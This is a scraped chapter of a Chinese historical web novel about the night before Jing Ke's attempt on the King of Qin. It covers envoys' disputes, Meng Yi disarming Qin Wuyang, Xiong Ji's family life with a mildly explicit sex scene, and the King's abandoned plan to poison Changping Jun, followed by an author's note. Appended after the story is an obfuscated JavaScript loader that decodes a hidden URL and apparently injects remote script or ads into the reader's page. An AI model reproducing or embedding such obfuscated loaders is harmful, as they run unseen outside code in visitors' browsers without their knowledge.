(手机请访问 m.duxs8.com); 咸阳,黄昏。
大行官署外,素绫翻飞。
魏国龙阳君,楚国寿陵君,二国国使白衣立马,身后陈列二十一口棺材。
赤霞渐褪,阴风骤起,萧萧一片肃杀。
大行官署掌外交,最高长官为大行,再次客事,最末走士。
出来迎客的,是个走士。
底层走士不用管上层大人物的盘算,只是按规矩请两位入住傅舍。
楚国寿陵君喝问:“大行呢?”
“进宫了。”
“客事呢?”
“也进宫了。”
“没活人吗?”
“明日我王接见燕国国使,今夜预设九宾之礼,不都得去看着嘛!”
龙阳君和寿陵君交换眼神,确认受到侮辱,同是国使,别如云泥。
龙阳君嗤之以鼻:“你也进宫去告诉秦王,我们也要见他!”
“哟!我就是个大行走士,宫里我走不进去!”
“事出有急,我们必须立刻见到秦王!”
“这我管不着,我只管你们吃喝拉撒。要想进宫啊,有简单的道,咔嚓一刀,就进去了!”
走士连说比划没脸没皮,意思是受过宫刑的人进宫才方便。
寿陵君长鞭一挥,怒喝:“什么狗仗人势的东西?!”
走士一抹脸上血:“这他娘的是秦国地界,耍个屁的威风!”
一来二去骂上劲,走士一把攥住鞭子把寿陵君给扯下马。
楚人和魏人都惊呆了,秦人果然都是杂种,无耻又无礼。
每个官署都养着一两个横行八道的小角色,对上媚从,对外嚣张。
寿陵君遭遇的就是大行官署的混世魔王——阎乐。
别说封君,就算来个王他也敢拽,横竖光脚的不怕穿鞋的。
楚人纷纷拔刀,秦国官署卫兵也悉数亮剑,一时剑拔弩张。
眼见流血在即,魏国龙阳君打个圆场。
“寿陵君何必跟看门狗置气?大事要紧。”
话音甫落,官署里匆匆跑出来另一名走士,点头哈腰连连告罪。
每个官署里也会养一两只性情温顺的哈巴狗,里里外外讨人欢喜。
这位正是这样的角色,姓赵名成,乃中车府令赵高的胞弟。
来人要是耍横,阎乐能比他们更横。
来人若是和气,赵成就陪个更和气。
两相权衡,龙阳君和寿陵君还是选择和气,先入住傅舍,再细细周旋。
二国使臣入关早有报备,推两个小人物出来唱开场,秦王怕是想赖皮到底。
可巧,惯常耍赖皮的秦王忽然不想耍赖皮了。
消息报进宫时,秦王刚好在咸阳宫演练接见仪式。
本来秦王也不想大费周章,黄昏在永巷跟燕使对视之后,改了主意。
如果表现得好,朝堂上就能搞定燕国,那得省多少事,少流多少血。
秦王的心这一次实打实地诚,所以专程跑殿上先跟大行过一遍程序。
行程走到受图一节,大行接到属下报来的消息,直接呈给秦王。
秦王展开国书,忍不住“哟呵”:“‘清河之难’?怎么不叫‘华夏之变’啊?”
楚魏二国取此名别有深意:黄河自宿胥口开始由浊变清,事发点在清河河段;且“河清”有海内太平之意,用此名昭示——秦一手制造“清河之难”,搅得天下浑浊不堪。
楚国国书是惯常套路,先严厉谴责,再问秦国要凶手,最后谈赔偿条件。
“鄢郢?他们做什么梦呢还没醒?这几十年秦国什么时候割过地?!真不懂事!”
魏国国书则温柔得多,有点像是迫于楚国压力,不得不来讨说法。
秦王合书,歪在王位,掂着预演的燕国空图,玩儿。
他在思考二国举国投降的可能性,小,但也不一定没有。
或许楚国会死犟,但是魏国……
魏王假一副天真无害的乖宝宝模样,应该比较好哄,还是先别撕破脸皮。
主意既定,秦王就差蒙毅到傅舍探个口风。
蒙毅不是一般人。
秦国郎中令,掌管秦王近身一切事物,从中大夫到带剑侍郎都归他管。
凡到秦王跟前的东西,都由他筛选过滤,蒙毅若是偏心,秦王就得瞎眼。
蒙毅的心不偏不倚,只装着秦王一个人,素有“铁面蒙郎”之名。
蒙毅率三十郎卫纵马到傅舍,不惊不诧穿过二十一口棺材阵。
玄衣墨裳入舍,惹来一片艳羡,此等英眉俊朗怕不是男仙下凡?
就连身心许了魏王的龙阳君都在疑惑:秦王莫不是想用美男计?
想得太美,蒙毅这等人物拿来施美男计太过浪费。
二杯清水恭迎远客,一句问话直奔主题。
“我王明日之后才有时间,二位有话,还请直言。”
寿陵君颇为不屑:“你不能做主,跟你有什么好说?”
“我不能做主,但可以决定二位是否陛见。以及,谁先陛见。”
简单一句话,后半句是重点,挑拨离间的开端。
寿陵君和龙阳君面面相觑,不约而同开始打小算盘。
寿陵君想:若是秦国与魏国先行勾搭,把这事做成一桩寻常的仇杀案就麻烦了。
龙阳君想:事出在魏,万一秦国和楚国商量好拿魏国开刀作为补偿,会很不妙。
二人陈述理由,都希望先行陛见。
寿陵君铺开一张血书,上书“清河之难”遇害人之名。
“二十一条人命,必须请秦王给楚国一个解释。”
龙阳君也铺开一卷竹书,上书魏国刑律。
“魏国之法,杀人偿命。事出在魏境,魏国必须缉拿凶手,以正国法。”
寿陵君:“我王有家书呈送秦国王后。”
龙阳君:“我王也有家书进呈右夫人。”
蒙毅摆手止住他们,他已有主意,不用再浪费唾沫说下去。
“后宫之事,不归我管。二位之请我已清楚,既然案发在魏,我王应先行召见魏使询问案件详情为是。明日燕使觐见后,我会派人来知会魏使,还请留意。楚使也不必担心,问明案情后,我王自有安排。”
龙阳君起身谢礼,蒙毅抱拳告辞。
什么叫有礼有节让人吃瘪,这就是,三句话完成秦王下的任务。
他步出里门行至院中,灵敏的耳朵捕捉到后院嘿嘿哈哈的声音。
这很反常,正常人不会这么喊,像是在练剑。
机敏和警觉促使蒙毅移步探个究竟。
“究竟”是一个少年人拿着短剑在劈一头吊着的死猪。
少年很勤奋,卖力把平日所习的行刺技法全都演练一遍。
这个少年,就是燕国副使秦舞阳。
蒙毅随手折下槐枝一试,舞阳没让他失望,提剑片成十一段。
接着他们打了一架,吵得满傅舍的人都跑出来看热闹。
就连被秦王阉了的前楚使顿弱,都拖着要死不活的身子爬出来一观。
傅舍是秦国款待外使的官舍,因为有蔺相如前车之鉴,秦国规定所有入境的外邦使臣必须入住傅舍,不得擅自离宿。
众人探身出来,顿弱发现他的副使项梁不在。
这也很反常,项梁素来喜欢看热闹,怎会不见?
顿弱像脱了水的茄子一样浪进项梁的房,不见人。
他从项梁房中出来时,蒙毅与秦舞阳已比试完毕。
蒙毅略占上风,结束战斗之前,他故意挨了一拳。
有这一拳,他才有充足理由命随行郎卫绑了舞阳。
然后他拂袖坐在院中槐树下,悠然喝水,等荆轲。
荆轲看完生命里最后一个落日,才醉醺醺回来。
他进门就跌了一个趔趄,看见蒙毅就要嚷着要他陪酒。
蒙毅滴酒不沾,所以严词拒绝。
“你这人真无趣,我猜一定没有女人会嫁给你。”
荆轲有幸猜中,不过这不是重点,重点是这个燕国正使很不正经。
任凭蒙毅怎么试,荆轲都是滩东倒西歪的泥,说着真真假假的话。
“得得得!你手下留情……也不是吹牛,我要没醉,一个人能打两个你。”
蒙毅看着被打出鼻血的荆轲,恭维一声:“燕使好身手。”
“那是!我们要是不会两下子,根本就走不到咸阳。我的上一任,还没出燕国,就见你们先王去了……嗝……”
“不是所有人都跟燕王一条心。多少燕国人都宁愿站着死,我们能活着到这里,不容易。”
使者,一正一副。正使传达国君命令,副使负责保护正使安危。
这个解释十分合理。
蒙毅觉得是自己多心,但也不妨碍他顺着荆轲的话撂掉一个危险分子。
“既如此,正使安然觐见,副使就算尽职。明日,还请副使殿外相候。”
“可是,嗝,燕王备了两份厚礼进献给秦王。”
“没事,我安排人帮你拿。”
荆轲哑口,他至多只能再给出一个于邦交礼仪不合的理由。
蒙毅说没事:“大国相交,不必拘泥小节。我王一言一行,才是秦国最重的礼仪。燕使尽管入乡随俗,秦国绝不会有所亏待。”
荆轲不好再争取,多说半句都显刻意。
还没上殿,秦舞阳就成了废子。
荆轲很寒心,若是等到张良,此时定然会是另一种局面。
这万丈之才,凌云之志,当真要酬与燕丹吗?
陷荆轲于绝地,燕丹太子,当真是“功”不可没。
蒙毅走的时候,顿弱已找遍傅舍,确认项梁失踪。
顿弱忐忑不安,前日项家老大来找老三项梁,告知老二被害,他们不会闹事吧?
顿弱本想找个由头知会蒙毅防备,转念一想,让项梁闹闹也好。项梁肯定伤不到秦王,顶多让楚国送个小辫子给秦国,反倒是好事!
如此想,顿弱就安心回去睡大觉,路过燕使门前,听见有哭声。
舞阳觉出来自己莽撞做了错事,可是有屁用?晚了!
错也不在舞阳,十三四岁的小小少年,怎指望他与蒙毅斗智斗勇。
荆轲抚了抚舞阳的头,笑说没事。
“明日你不用犯险,无论发生什么,都不要进殿。活着,回去帮我办件事。”
“可是,太子说……”
“太子说你得听我的话。”
“我……”
“你难道不想回去见他吗?”
“想!”
少年人的眼睛都有独特的光亮,亮晶晶,像天上的星星。
舞阳望着星空,星星是星星,月亮是月亮,云彩是云彩。
星月云彩落进荆轲眼里就成了故国,父母,亲朋,挚友。
所亲,所爱,所憎,所恨,一一在眼前浮现。
那些可待明日的事,再也没有明日去完成了。
错过的人就永远错过,失掉的约再也不能续。
他记起曾邀过一场约,楚客昭南,可还记得邯郸一场约?
当然,完全不记得。
忌遇到了比斗殴更新奇的事情。
他当爹了。
那日,他先进宫见了秦王,秦王赏他一个宅子和很多钱。
他很喜欢,成家立业嘛,再也不用挂在丞相爹的名下。
连跑带跳飞回家,事先没打招呼,全家依次咋呼一遍。
先是仆人惊叫,接着弟弟妹妹们呼啦围了一圈,然后雍城公主咬牙切齿恨不得打他一顿:“翅膀硬了是不是?还知道回来啊?!”
她一抹眼泪撵儿子回房:“去!去!去!不稀罕看你,看你女人去!”
他应了一声,拔腿就跑。
弟弟妹妹悄悄跟在身后,赶都赶不走,一直跟到新房。
新房其实已经旧了,他自己都忘记离家已经一年半了。
房中灯火荧荧,隐有倩影映窗棂。
他推门进去,吓得跳了出来把门一关,仿佛屋里有鬼。
屋里当然没有鬼,只有风姿绰约的少妇抱着婴孩哺乳。
去岁暮春,秦王让他先回家就是知道他女人临产,想给他个惊喜。
结果他没有领情,等到终于了结一场心病回来,孩子已经半岁了。
婴儿啼哭传出来,吓得他捂住心口,一颗心都快跳出来。
弟弟妹妹们从来没有见过大哥这么慌神,全都咯咯直笑。
“原来大哥也会害怕呀!”
他望一眼挤在一团偷笑的弟弟妹妹,转身砰地推开门然后砰地把门关上。
房里婴儿哭得更大声,须臾又传来女人的哭声,连哭带喊外加拳打脚踢。
生孩子,男人一夜快活,女人却要十月怀胎,一朝分娩还得去趟鬼门关。
女人最痛最绝望的时候,男人却不在身边。
“我要是死了,你是不是也不知道?!”
忌无话可说,只能抱着棠棣,任她打骂哭闹。
她一拳拳锤在他心口,他才忍不住皱眉微哼。
棠棣觉出异样,扒开他衣裳,才见血已染了一片。
男人岂止去鬼门关走过一遭,天天都在鬼门关溜达。
棠棣一层一层剥掉他的衣裳,只见新疤旧伤重重叠叠,眼泪止不住地滚,心疼得像是有人在刮。
胸口致命伤,亏得蛊逢脚快加之配备有军医,才保住性命。白日指点过扶苏,回来被母亲锤一回,又被媳妇打一回,伤口就裂开了。
棠棣急忙拿布给他擦,嚷着要找昌平君去请太医。
忌握住她的手:“不碍事,睡一觉就好。”
累到极致睡觉就是最好的药,棠棣扶他躺下,小心翼翼盖上暖衾。
忌侧过身子去看娃,娃跟他真像,鼻子嘴巴一模一样。
他试探着伸出一根指头,娃娃也伸出小爪子抓啊抓,一把抓着他的指头就不撒手。
他笑了,莫名又想哭,他曾经鄙视老婆孩子热炕头的日子,可是,真他妈地美啊!
他望着娃,娃也望着他,大眼睛眨呀眨,就这一眼,仿佛身上所有伤口都愈合了。
棠棣换了轻薄的衣衫偎过来,孕期方过,少妇的身体柔美丰腴,散发着温暖的香气。
女人轻轻哄儿子睡着,又抚过男人的伤疤,温柔的手让男人忘掉所有烦恼。
长夜渐深,三个人互相依偎着进入梦乡。
这就是家的意义,世俗的幸福,最平凡又最伟大。
不过,这伟大的时刻,不宜持续太久。
第二天,气氛就开始不对劲。
孩子不仅美好,还有吃喝拉撒哭和闹。
妻子不仅温柔,还有拈酸吃醋泼和爆。
棠棣发现棠棣玉花不见了。
圆房那夜,棠棣亲手取下玉花戴在丈夫脖子上的。
“丢了?你嫌弃我才会丢吧?是不是丢给哪个女人了?!”
忌回想了一下,扣押玉花的若耶确实是女人,所以就点了点头。
棠棣就炸了,哭着喊着不过了,要分家。
雍城公主来解围,让儿子把事情解释清楚。
迫于母亲淫威,忌就复述一遍经过,麻烦更大。
“小妹?你妹妹都在家里呢?哪个妹妹?!情妹妹吧!”
“阁主?那女阁主为什么不还你玉花,不就为了让你去找她吗?!你当我傻?!”
……
雍城公主虽然跟棠棣不对付,可是身为女人,她支持儿媳妇。
“我们家的规矩,是定给男人的!”
……
白天吵架晚上和好的日子循环两天,忌决定立刻搬家。
没有老娘撑腰,棠棣一个人闹不起来。
爹娘不同意:“你要继承家业,搬什么家?!要搬也是你二弟长大搬出去!”
爹的话不管用,忌毅然决然要搬,把媳妇和娃一起接出去。
也是秦王舍得,新家的宅子不比旧家小,只是比较偏,靠近兰池别宫。
那本来是策反李牧准备的宅子,没用成,正好就赏给他。
王侯府邸,气相非凡。
小两口牵着手溜达了一整天才把新家逛完,两个人都很满意。
忌在心里默默规划了书房,练剑房,演武台。棠棣想着园子池塘可以造景,闺房可以变着法地玩,反正宅子大。两个人很快划分完领地,晋升女家主的棠棣被满满的幸福感笼罩,也就不捕风捉影计较男人在外面有没有拈花惹草。
他们本来并没有太多共同话题,有了娃就有了话。
昌平君可以给长孙取名,但是老人家尊重儿子的意思,就留着让忌来定。
忌想了好久,记起鬼谷天门之外,师父给他取了“怀心”二字。
想来他确实命里少颗心,儿子来了,他觉着自己那颗心长出来了。
“就叫‘心’?”
“熊心?”
“嗯。”
棠棣不解其意,问明原委后忍不住吃儿子的醋。
“早就听说‘母以子贵’,今天算是见识了。”
忌听得明白,嘿嘿傻笑:“你贵。”
棠棣乐开了花,忌从来冷面冷心的榆木疙瘩,脸上少有这么生动。
她把儿子抱去小床,回身坐到忌腿上,双手绕在他脖子后面搭着。
“你说这么大的宅子,这么多房,我跟你就住这一间,多浪费啊……”
忌的脸埋在她的胸,嘴里说不出话,只能鼻子哼气:“嗯?”
“心儿长大了也只能住一间房,还是很空啊……”
棠棣咬着一缕碎发,忌这回开了窍:那就多生几个呗,生一窝就不会空了。
他一口噙住她心口朱砂,狠命地咂,疼得她忍不住嘤咛,抱着他不停颤抖。
新婚时太过懵懂,现在正好无师自通把男欢女爱的妙处狠狠补足。
一个个吻燃起一缕缕火,那火苗一簇簇都往身下烧去,灼得全身发麻,灼得心里滚烫,烧到最烈时探去她的隐秘处寻一汪泉眼,泉眼滋润柔滑,漾得心火更旺,烧得都不知道该怎么办才好。
能怎么办?床又塌了呗。
两个人跌在幔布帐里,棠棣笑得岔气,噘嘴:“明天……得换个结实的床。”
忌吻上那红润润肉嘟嘟的唇,鼻子里只会哼一个字:“嗯……嗯……嗯……”
他一点不娇气,哪里都可以是床,是木板还是地板都无所谓,女人痛楚而快乐的呻吟很快又继续弥漫,惹得月亮都羞红了脸。
身上的火还没褪尽,敲门声突然擂得震天响。
赵高也在反思,为什么自己总是那个半夜敲门坏兴致的人。
主要原因不在赵高,而是秦王不分昼夜,心里压着事没法睡。
路寝旁的小花园,秦王裹着燕居服,夏无且在旁提着药箱。
连夜急召昌平君父子,不外乎性子急,想解决楚国和魏国的事。
这事,说小也小,说大也大,思来想去,只有委屈一下忌儿。
秦王不能揽错,他的个人声名事关秦国荣誉。
唯一能把事情应承下来的只有忌,但这对忌很不公平。
忌儿做下这事是为秦国内政安定,也为家族得以留秦。
如果为国卖命还要为国所卖,岂不是太伤忌儿的心?
原本秦王想让忌去燕国躲,可是燕使又忽然来示好。
这事不管怎样,冤有头债有主,都得有人出来担着。
“忌儿,你的人,寡人定会保全。你的名,介意吗?”
忌怔住,他还没有想过这个问题。
功成名就,四个字,他现在主要考虑的是前两个。
“什么名?”
“天下都会知道你是杀人犯。”
忌不明白,道:“我本来就杀了人。”
“如果天下都知道‘昌平君长子’私自暗杀楚国使团,你介意吗?”
“事实本是如此,我为何介意?”
秦王拍拍他肩膀:“敢作敢当,好。”
“我一人做事,自然我一人来当。”
秦王笑,须臾笑意陡然顿住,这罪不能让忌一个人担。
隶属秦*部的人,没有秦王授意就暗杀了楚国使团。
若是罪名全推给忌,是否秦国也该通缉这个滥用权力的暗军首领?
虽然事实如此,可是秦王不能这么干,这样正好又中了负刍的套。
秦王看着忌儿,忽然脊背发凉。
暗军自组建之日起,就是一柄双刃剑,当初千挑万选选中忌儿,是在给自己埋刀,到如今环环相扣怎么都是死结。
要解开死结很简单:现在,立刻,马上,杀掉面前这对父子,永绝后患。
长痛不如短痛,上一次华阳宫前就想到的问题,拖到现在又重来一遍。
秦王的手笼在袖子里,握成拳,拳在抖,他装作甩手拂袖,转头看月明水秀。
今夜冰融为水,月晕成朱。
红月悬天,人称血月。或是天意,血月合该有杀劫。
秦王假作无事,轻松一笑:“华阳祖母留给寡人一壶酒,咱们,今晚把它喝了吧。”
昌平君和忌对望一眼,不甚解意。
“陛下,您斋戒着呢,不能——”秦王狠狠一瞪让夏无且觉得说错了什么,立马转过话口:“喝得太多。”然后转头向昌平君,把话补圆:“陛下身体不适,酒也是药。小喝两口,养身怡情。”
“寡人就是想喝酒了,你们陪着喝一个!赵高!带他们去孤山等一等,我去拿酒。底下人不知道酒藏哪儿了。”
他说完转身大踏步走了,夏无且小跑跟上。
赵高领着昌平君父子向另一个方向,廊回路转,见得一处小天地。
孤山、瘦水、空亭,“七术”桥,“六微”室。
这里是秦王一个人的世界,秦宫的禁地。
十几年前,十几岁的秦王听闻母亲与吕不韦旧情重燃,躲到这里哭了一场。
之后,这里就成了秦王幽思之处,重兵把守,苍蝇不入。
六微室中,一架石床,一张石桌,四面石壁,空空如也,绝无他物。
一进石室,忌不由自主想到剑阁,本能促使他判断这是杀人灭口的好地方。
昌平君则望着空墙长叹:“陛下他,不容易。”
忌不太明白,问:“父亲,何出此言?”
“面壁思过。只有在这里,他才是他自己。”
昌平君算是看着秦王长大,还算懂他,但也不完全懂。
那日华阳宫前君臣推心置腹,昌平君便下定决心站在秦王一边,忌儿杀了项仲之后,昌平君再也没有归楚的余地,他是铁了心留在秦国,所以完全没料到秦王会再起杀心。
秦王在路寝翻箱倒柜找酒,柜子摔得噼里啪啦,手割破了都不知道。
夏无且看着心疼:“陛下啊,找不着就别找了,另拿一壶不就好了。宫里好酒多得是……”
“闭嘴!”
夏无且捂口,秦王翻完路寝的柜子,又跑去王后的中宫翻了一通。
最后他一溜烟跑去华阳宫,到处撞到处砸,把华阳宫的珍奇陈设都砸个稀烂。
砸够了,他才开始找酒。
他大婚的时候,华阳太后开过一坛。太后去的时候,葬了一坛。剩下的都留在华阳宫太厨的酒窖里,全都砸了,只留下一坛。
他亲手抱着这一坛往孤山去。
夏无且还是心疼:“陛下,我帮你抱着吧。”
陛下没答话,问:“你药箱里,有毒吗?”
夏无且慌神:“臣的药箱里,只有药没有毒。”
“寡人听说,是药三分毒。”
“三分毒也只有三分不是,也不是毒啊。”
“三分?什么毒有十分?”
“嗯……见血封喉。”
“见血封喉?”
“嗯。”
“你有没有?”
“我……陛下你问这个干什么?”
“寡人就问你有没有?!”
“臣上哪儿去找这种?”
秦王拔剑抵在夏无且胸口:“寡人问你,有没有?!”
夏无且一凛:“有。”
“拿来。”
“药箱里没有。”
“去拿!”
“喏!”
夏无且撒丫跑开,秦王长吁口气,抱酒继续走。
他走到七术桥边,遥望见小孤山上有几点灯火。
赵高侯在门口,昌平君和熊忌应当就在石屋里。
沿途站着蒙毅甄选出的郎卫,个个千里挑一。
蒙毅守在桥畔,见到他便上前来问安。
秦王兀自失神:只要蒙毅发令,郎卫就能把里面的人射成筛子或者剁成肉酱。要不要下命令?就像当年处置嫪毐那般果决?
蒙毅关切地问:“陛下是否身体不适?我这就命人去传太医令。”
他回过神,摆手:“没什么,老毛病,头晕。他已经去拿药了。”
“他也太粗心了,亏他整天背着药囊,净装着没用的东西。”
蒙毅说话带笑意,说明他没觉得有什么异常,单纯认为秦王找昌平君喝酒。
蒙毅没有想到秦王会起杀心,因为昌平君和忌真的没有一丁点对不起秦王。
他们不像嫪毐,也不像吕不韦,他们父子对秦王,除了恩情也只有恩情。
不是蒙毅不了解秦王,而是蒙毅在他的职位,看不到秦王能看到的威胁。
蒙毅亲自提灯,引他上桥,又一行灯火从身后来。
是扶苏。
秦王大怒:“你来做什么?!”
秦王的本意,今夜预谋杀人,扶苏不该出现。
扶苏不懂,委屈地回话:“母后担心,让……让儿臣来请安。”
“请什么安?!寡人没事!回去!”
秦王转头就走,扶苏呆呆杵着不知道做错了什么。眼见着父亲快要走到桥心,扶苏才记起少带了一句话:“母后说,‘让您少喝一点,别伤着身体。’”
扶苏知道这是父亲的禁地,所以不敢上桥,只能隔水大喊,希望父王能听见。
秦王听见了,被这一声喊扰乱心绪。
这两句话下人也可以转述,妫儿让扶苏来,意义大不一样。
这是一个家,有丈夫,有妻子,有孩子,完完整整的家。
君臣之义可以不要,夫妻之情也当真都不要了吗?
他怔了片刻,唤扶苏跟上:“来,你也喝两口。”
昌平君和忌已经等得太长久,久到昌平君无法平静。
直至扶苏出现。
大人干龌龊事,不会带上孩子。
昌平君自觉羞惭,应是自己太龌龊,才会以为秦王动了龌龊心思。
秦王亲手揭开尘封的酒坛,亲自斟酒。
“这么多年,寡人谢谢你们。”
昌平君推辞不敢受,又不敢不受,只得满满一碗灌下肚。
秦王又让扶苏再敬,昌平君又不得不喝,于是两碗下肚。
不吃菜干喝酒,本就容易醉,昌平君平日不沾酒,一口气两碗下去满脸绯红。
他这体质,属于不能喝的。
那会医学欠发达,秦王不知道喝酒上脸是因为体内缺少乙醛脱氢酶,乙醛中毒能死人。
其实秦王可以一直敬酒,昌平君准能喝死,死得正大光明,死得闹不出任何风波。
可惜,秦王没这知识,也就没这觉悟,第三碗酒任凭昌平君一口口抿到最后。
男人嘛,一个样,两口黄汤废话八百场。
两个孩子话少,乖乖看两个大人从楚酒的口感唠到男人的辛酸。
前半段唠媳妇,两个人惺惺相惜交流了一番对付母老虎的经验。
后半段唠娃,就唠身边这俩,都是自家老大,父亲期望也最大。
这一晚,在扶苏的记忆里格外美好。
父亲从来没有这么和蔼可亲过。
他揉着扶苏的头,跟昌平君絮絮叨叨地说扶苏小时候的点点滴滴。
是扶苏,让秦王第一次当父亲,父亲还记得孩子到来时的忐忑和兴奋。
“他呀,像我,又不像我!”
昌平君笑,指着忌:“他也是。”
“不是什么好事!”
“也不算是坏事。”
“还不坏?你家闺女都能把他收拾啰!”
“不不不……指不定谁收拾谁呢?”
……
两个人唠着唠着,扶苏的娃娃亲就定下了。
又唠着唠着,阴嫚和忍儿的娃娃亲也定了。
扶苏跟忌表叔对望一眼,不约而同都觉得不能让两个爹继续唠下去。
正好,蒙毅在外奏报:“陛下,您的药来了。”
“药?”秦王已经喝高了,问:“什么药?”
“治头晕的,太医令刚送到。”
秦王揉揉自己的头,笑:“倒忘了,我出去拿啊!”
他起身,跌跌撞撞走两步,扶苏赶紧上前扶住。
秦王笑了笑,揉揉儿子的头,很欣慰。
一对父子依偎着出去,留下另一对烂醉的父子。
池上夜风凉,吹得秦王打寒颤。
蒙毅赶紧召夏无且,夏无且颠颠跑过来,秦王就撵扶苏去睡觉。
扶苏一步三回头走了,秦王换了严肃神色,问夏无且要解酒药。
这个是夏无且常备的,赶紧从药囊里拿出一壶葛根菊花水。
秦王拿了壶正欲转身,顿了顿,问:“那个药,带了吗?”
夏无且怔了怔,从怀里小心翼翼掏出来。
秦王伸手去接,夏无且吓得捂住不敢给。
“陛下,您手上有伤!”
“小伤,不碍事。”
“这药不能见血。”
秦王怔住,低头看着自己的手。
手心朱赤,天上红月,都是血。
见血封喉,见血才能封喉。
或许,这也是天意。
若下毒手,先封的是秦王自己的喉。
他怔了好长时间,才喃喃道:“算了吧,寡人的头,不那么疼了。”
秦王再入石室时,昌平君已经深醉。
他趴下去又挣扎着抓住儿子的手:“今晚我说的话,不许告诉你母亲。”
得到儿子肯定的答复后,昌平君彻底醉倒。
秦王和忌,还醒着。
一隙月光照着两个人,人影重叠,恰如那年长桥月下君臣立晚风。
秦王抱着解酒汤自斟自饮自笑自怜,絮絮叨叨。
“明日大朝会,寡人不能醉!”
“你没事,你能醉,醉了就睡,想睡到什么时候就睡到什么时候。”
“今晚上睡饱了,明天出去躲躲,去……去天水或者乌氏,那里安全。”
“其他的事,你不用问了。等寡人召你回来,你再回来。”
忌红了眼眶,轻轻唤了一声:“陛下……”
这突如其来的多愁善感吓得秦王发懵。
男人之间的感情有很多种,秦王低估了自己在忌儿心中的地位。
忌从小特立独行,少年时想做而不能做的事,都是秦王帮他完成的。
最难得是少年梦,最难酬是知己情。
秦王看着他的眼睛,那双眼睛还不会骗人,满眼都是喜欢和崇敬。
秦王被这眼神征服,像嘱咐亲儿子一样,温柔叮嘱。
“忌儿啊,以后无论什么事,先告诉我一声,好吗?”
“好。”
忌笑了,笑里隐隐有泪光。
朦胧间,他看见秦王眼里也有雾。
男儿有泪不轻弹,不是落在伤心处,就是洒在知心处。
秦王喝一口解酒葛汤,忌饮一口陈年楚酒,二人互酌至壶空酒尽。
忌醉了,他的酒量之于他爹,没有质的飞跃。
红月已然褪色,皎洁的白月光照在他绯红的脸庞。
秦王凝神去看,忍不住心惊肉跳。
那鼻子、嘴唇、颧骨,甚至眼睫毛,都与他是由形到神的相似。
扶苏不过形似,异母弟成蛟也没有这副皮相和筋骨。
他颤抖着手去抚忌儿,就像抚着另一个时空的自己。
那张脸布满疤痕,秦王能感觉到。
当时玉面少年郎,归来已遍体鳞伤,为的是谁?
还不是,为他秦王。
万幸,没有一时糊涂唐突一片冰心。
秦王把石床让给了这一对父子,步出石室另寻去处歇息。
世界都睡着了,天地好安静,只有明月和星辰还在眨眼睛。
他忽然想起,明日还有一场舌战,今夜尚不能歇。
他却仍未知,天示异象,血月凌空应有英雄劫。
当此劫者,不是旁人,正是秦王自己。
——————————————
让秦王多纠结了一章
下一章荆轲肯定刺秦了
真的超级难写的
首先不想照搬太史公的版本
然后《荆轲刺秦王》《英雄》《大秦帝国》《秦时明月》……这个故事已经有很多很多版本,就连莫言都还有个话剧版本呵呵,能有的花样别人都玩过了,我要玩点不一样的真是太困难了
我写的你们可能不会满意,但是我有在努力写得跟他们不一样
也在很努力让这一阶段的剧情统一都在下一章推到*
qaq
好瘠薄难!哭唧唧
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 